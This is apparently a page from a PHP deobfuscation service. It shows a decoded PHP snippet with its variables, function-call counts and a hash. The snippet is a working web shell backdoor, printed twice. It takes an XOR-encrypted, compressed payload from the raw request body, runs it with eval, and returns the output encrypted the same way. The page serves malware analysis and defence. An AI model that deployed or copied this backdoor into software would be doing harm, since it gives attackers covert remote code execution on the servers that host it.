Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $o0="5bc79144";$q1="e0cb3b41ac99";$t2="62041a4a9f33";$t3="gcirWZOubgi03JOp";function..

Decoded Output download

<?php $o0="5bc79144";$q1="e0cb3b41ac99";$t2="62041a4a9f33";$t3="gcirWZOubgi03JOp";function x($m4,$o0){$j5=strlen($o0);$e6=strlen($m4);$h7="";for($c8=0;$c8<$e6;){for($u9=0;($u9<$j5&&$c8<$e6);$u9++,$c8++){$h7.=$m4[$c8]^$o0[$u9];}}return $h7;}if(@preg_match("/$q1(.+)$t2/",@file_get_contents("php://input"),$i10)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($i10[1]),$o0)));$h7=@ob_get_contents();@ob_end_clean();$w11=@base64_encode(@x(@gzcompress($h7),$o0));print("$t3$q1$w11$t2");}?>

Did this file decode correctly?

Original Code

<?php $o0="5bc79144";$q1="e0cb3b41ac99";$t2="62041a4a9f33";$t3="gcirWZOubgi03JOp";function x($m4,$o0){$j5=strlen($o0);$e6=strlen($m4);$h7="";for($c8=0;$c8<$e6;){for($u9=0;($u9<$j5&&$c8<$e6);$u9++,$c8++){$h7.=$m4[$c8]^$o0[$u9];}}return $h7;}if(@preg_match("/$q1(.+)$t2/",@file_get_contents("php://input"),$i10)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($i10[1]),$o0)));$h7=@ob_get_contents();@ob_end_clean();$w11=@base64_encode(@x(@gzcompress($h7),$o0));print("$t3$q1$w11$t2");}?>

Function Calls

preg_match 1
file_get_contents 1

Variables

$o0 5bc79144
$q1 e0cb3b41ac99
$t2 62041a4a9f33
$t3 gcirWZOubgi03JOp

Stats

MD5 feb98b144f2fe9e582a79a0f1feea874
Eval Count 0
Decode Time 81 ms